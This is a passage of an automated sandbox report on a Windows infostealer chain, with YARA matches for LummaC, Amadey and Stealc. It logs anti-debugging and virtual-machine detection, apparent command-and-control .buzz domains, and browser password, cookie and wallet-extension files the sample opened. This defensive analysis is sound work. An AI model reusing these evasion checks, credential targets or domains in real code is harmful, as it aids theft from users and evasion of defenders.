Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

Code function: 5_2_04AB04F6 rdtsc

5_2_04AB04F6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 360

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Idau8QuYa3.exe TID: 7372	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe TID: 7368	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe TID: 7360	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe TID: 7480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe TID: 7364	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5596	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3336	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5720	Thread sleep count: 360 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5720	Thread sleep time: -10800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4548	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2056	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3052	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmp, 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.0000000000894000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware$q~"&
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW?2Y!
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Idau8QuYa3.exe, Idau8QuYa3.exe, 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1923841250.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 00000008.00000002.2935695973.0000000000A70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Idau8QuYa3.exe, 00000000.00000003.2047915533.0000000005F47000.00000004.00000800.00020000.00000000.sdmp, 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000000.2048553281.00000000011CD000.00000080.00000001.01000000.00000006.sdmp, 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Binary or memory string: q\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2099757494.00000000011CD000.00000040.00000001.01000000.00000006.sdmp, 15E9YUDKFQLPC478BWEBATDC87A.exe, 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2191234971.00000000003B1000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Idau8QuYa3.exe, 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1923841250.0000000000E66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

Code function: 5_2_04AB04F6 rdtsc

5_2_04AB04F6

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_0086652B mov eax, dword ptr fs:[00000030h]	5_2_0086652B
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_0086A302 mov eax, dword ptr fs:[00000030h]	5_2_0086A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001FA302 mov eax, dword ptr fs:[00000030h]	6_2_001FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001F652B mov eax, dword ptr fs:[00000030h]	6_2_001F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001FA302 mov eax, dword ptr fs:[00000030h]	7_2_001FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001F652B mov eax, dword ptr fs:[00000030h]	7_2_001F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001FA302 mov eax, dword ptr fs:[00000030h]	8_2_001FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001F652B mov eax, dword ptr fs:[00000030h]	8_2_001F652B

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe PID: 7852, type: MEMORYSTR

LummaC encrypted strings found

Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: Idau8QuYa3.exe, 00000000.00000003.1702651369.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe "C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe"			Jump to behavior

Source: skotes.exe, skotes.exe, 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: mProgram Manager
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2099998374.0000000001213000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_001DDD91 cpuid

8_2_001DDD91

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

Code function: 5_2_0084CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_0084CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_001C65E0 LookupAccountNameA,

8_2_001C65E0

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.15E9YUDKFQLPC478BWEBATDC87A.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Idau8QuYa3.exe PID: 7332, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2099361572.0000000000DF1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
